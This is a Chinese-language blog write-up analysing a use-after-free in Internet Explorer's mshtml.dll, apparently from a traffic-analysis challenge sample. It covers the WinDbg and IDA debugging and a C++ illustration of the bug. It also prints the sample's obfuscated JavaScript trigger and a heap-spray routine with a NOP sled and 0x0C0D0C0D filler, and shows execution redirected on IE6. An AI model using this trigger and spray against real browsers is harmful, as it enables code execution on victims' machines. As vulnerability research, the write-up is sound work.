1. 前言
上一篇文章对流量包进行了分析,提取出了攻击样本,这次接着对漏洞成因进行一次详细分析。
2. 漏洞详细分析
2.1 查看崩溃信息
首先访问提取的攻击样本,使IE崩溃:
IE崩溃
从崩溃信息来看,崩溃位置在mshtml.dll模块中偏移0x68C83的位置
注意
需要注意的是,该漏洞是一个UAF漏洞,在空间被释放后,那一片区域的内存空间可以被任意使用的,而堆喷的内容有可能会被程序运行过程中给覆盖掉,所以会导致漏洞利用失败,需要多次尝试
2.2 windbg查看详情
通过windbg附加调试,可以看到是在CElement::GetDocPtr这个函数产生了崩溃:
windbg调试详情
从上图可以看到,崩溃原因是因为ECX的值为0x00000054,而从[ECX]中取值产生了访问异常,那么ECX的值是哪来的呢?
注意
在windbg中显示符号需要符号文件支持,在这里的话,如果没有mshtml.dll文件的符号文件,是显示不出来函数名称的
2.3 windbg栈回溯
通过windbg进行栈回溯,如下:
栈回溯
从栈回溯中,可以看到调用CElement::GetDocPtr的位置是CEventObj::GenericGetElement函数和CEventObj::get_srcElement函数
2.4 ECX寻找
从后往前分析,首先分析CEventObj::GenericGetElement。将mshtml.dll拖入IDA Pro并且定位到CEventObj::GenericGetElement函数(需要符号文件支持),找到调用CElement::GetDocPtr的位置,如下图:
ECX寻找
从上图可看到,调用CElement::GetDocPtr之前,ECX的值来自EBX,而EBX又是从[ESI]所指向的内存地址中取出的值,那么ESI的值是哪来的呢?
2.5 ESI寻找
现在要寻找ESI的值是从哪来的。因为call CElement::GetDocPtr的位置上面很多地方都可以跳转过来,所以这里需要进行动态调试,我经过多次测试之后,跟踪了跳到这的路径,如下:
ESI寻找
总结下来就是这样:
EAX = [EBP-8] = CEventObj::GetParam函数获取的值ESI = [EAX]ECX = EBX = [ESI]
2.6 ECX的真相
通过上面的分析,终于搞清了ECX的最终来源是[EBP-8]。但还是很懵逼,[EBP-8]里面到底是什么,需要知道CEventObj::GetParam这个函数获取了什么才行。在网上搜索到的关于这个的一些说明,如下:
也就是说CEventObj::GetParam这个函数是获取EVENTPARAM这个结构体的指针的,那么上面的总结应该变成这样:
EAX = [EBP-8] = EVENTPARAM结构体指针ESI = [EAX] = CTreeNode类指针ECX = EBX = [ESI] = CImgElement类指针
用C++表示大概是这样的:ECX = EVENTPARAM.CTreeNode.CImgElement
2.7 样本执行流程
现在知道了ECX就是CImgElement类指针。而程序崩溃原因是因为ECX的值被修改成了一个错误的值,也就是说CImgElement类指针是错误的。而CImgElement类指针是保存在CTreeNode类指针所指向的内存空间中,没猜错的话这个CImgElement类指针是CTreeNode类对象的一个成员属性。类成员属性被改了,那就得分析分析为何被改了,如下:
JavaScript不是很好,上面的分析也是通过网上资料分析的,分析的比较乱,将就着看吧。主要的执行流程就是:
- 通过
onload事件执行了一个函数 - 进行堆喷射
- 拷贝了一个事件对象,也就是
span创建出的对象 - 将
span创建出的对象给释放了 - 设置了一个定时器,去执行了拷贝对象的
srcElement函数
最重要的两个函数详细分析如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| function WisgEgTNEfaONekEqaMyAUALLMYW(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz) {
// 执行堆喷射
gGyfqFvCYPRmXbnUWzBrulnwZVAJpUifKDiAZEKOqNHrfziGDtUOBqjYCtATBhClJkXjezUcmxBlfEX();
// 拷贝span对象,保存在 lTneQKOeMgwvXaqCPyQAaDDYAkd 变量中,拷贝的内容至少包括了 EVENTPARAM结构体指针
lTneQKOeMgwvXaqCPyQAaDDYAkd = document.createEventObject(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz);
// 将span对象给释放掉了,也就是将span对象的CTreeNode类指针指向的内存空间释放了
document.getElementById("vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY").innerHTML = "";
// 设置了一个定时器
window.setInterval(nayjNuSncnxGnhZDJrEXatSDkpo, 50);
}
// 定时器函数
function nayjNuSncnxGnhZDJrEXatSDkpo() {
p = "\u0c0f\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
// 循环赋值,目的就是为了覆盖span对象释放后的内存空间
for (i = 0; i < MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul.length; i++) {
MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul[i].data = p;
}
// 执行了拷贝变量的srcElement函数,这个函数最终会调用CEventObj::get_srcElement函数、CEventObj::GetParam函数、CElement::GetDocPtr函数,最后形成崩溃
var t = lTneQKOeMgwvXaqCPyQAaDDYAkd.srcElement;
}
|
2.8 验证猜想
上面的函数分析,我是根据网上的资料分析,并进行实验后写的。CTreeNode类指针所指向的内存空间被修改的原因是因为这个类被释放了,然后就被其他变量所覆盖了。这里验证一下,观察CTreeNode类指针修改的原因是否真的是因为类被释放了:
通过上面的测试,可以很明显的看出CTreeNode类指针的确是在被释放之后才被修改的,也就验证了上面的分析。
2.9 漏洞成因
验证了CTreeNode类指针修改的原因之后,漏洞成因也就很清楚了。通俗一点就是new 了一个对象,然后将指针复制了一份,接着释放了对象,然后使用复制的指针去获取了内容并执行,用C++代码表示就是这样:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| class CMyclass {
public:
int GetNum()
{
return m_Num;
}
private:
int m_Num = 10;
};
int main()
{
CMyclass* pObj = new CMyclass();
std::cout << "pObj.m_Num = " << pObj->GetNum() << std::endl;
CMyclass* p = pObj;
delete pObj;
// 使用已释放的指针去调用成员函数
std::cout << "p.m_Num = " << p->GetNum() << std::endl;
system("pause");
return 0;
}
|
2.10 引发漏洞的语句
引发漏洞最主要的三条语句:
引发漏洞的语句
3. 漏洞利用
既然都知道漏洞成因了,就可以进行漏洞利用了。这里只针对IE6.0利用一下,其他的版本又要去考虑绕过保护机制的一些东西了。
1
2
3
4
5
6
7
8
| function gGyfqFvCYPRmXbnUWzBrulnwZVAJpUifKDiAZEKOqNHrfziGDtUOBqjYCtATBhClJkXjezUcmxBlfEX() {
var mWgWGhyqOVxBPqtnAFWAyxhLnqBNaRNnkKvTfAwVuvOyCnGUwBPZEzSZtKpqGZUvPO = uKDkvADSMMCpMpWmBjzJRTRBOHuctmWYaRSFYKUgfGAorttjbgqtzbHoZkWlIhITyAOOkvmTpOpLxrfsUWzDUdnsdEwzsu('%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090');
var uafwHGfWUmxkIam = uKDkvADSMMCpMpWmBjzJRTRBOHuctmWYaRSFYKUgfGAorttjbgqtzbHoZkWlIhITyAOOkvmTpOpLxrfsUWzDUdnsdEwzsu("%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d");
do {
uafwHGfWUmxkIam += uafwHGfWUmxkIam
} while (uafwHGfWUmxkIam.length < 0xd0000);
for (S = 0; S < 150; S++) JsgdlqtHVnnWiFMCpdxJheQbdjITPhdkurJqwIMuMxJnHf[S] = uafwHGfWUmxkIam + mWgWGhyqOVxBPqtnAFWAyxhLnqBNaRNnkKvTfAwVuvOyCnGUwBPZEzSZtKpqGZUvPO;
}
|
接着在调用CElement::GetDocPtr的位置下条件断点:ECX==0x0C0D0C0D
接着重新运行IE,然后访问修改后的样本文件,断下来时ECX已经为0x0C0D0C0D:
跟到CElement::GetDocPtr去执行,可看到EAX被赋值为0x0D0C0D0C,而执行的位置为0x0C0D0C0D:
然后跟进去执行,Ctrl+B搜索90909090,然后下断,运行,可以看到程序顺利的执行到填充的90909090的位置:
4. END
这次漏洞分析就到这里结束了,从最开始的流量分析、提取出样本,再到后面的漏洞成因分析,最后到漏洞的利用,这一套流程算是完整的走了一遍,收获蛮大的。真的感觉发现这个漏洞的大佬是真的吊,就是不知道通过啥方式找到的这种漏洞,这是一个坎啊。这次还是很感谢搞出这个流量题的 @老刘,还有帮助了我很多的 @梦轩老哥。
由于这是我第一次接触UAF漏洞,以及第一次从漏洞的一无所知到最终完成分析的过程,其中难免会有分析错误的地方。如果大佬们发现有什么不对的地方,望斧正!
问题
其实还有几个点有疑惑,等有时间再一一分析:
- 样本代码中有两处类似于堆喷的地方,为啥会有多个?
- 事件对象详细的执行流程
- 如何修复与防范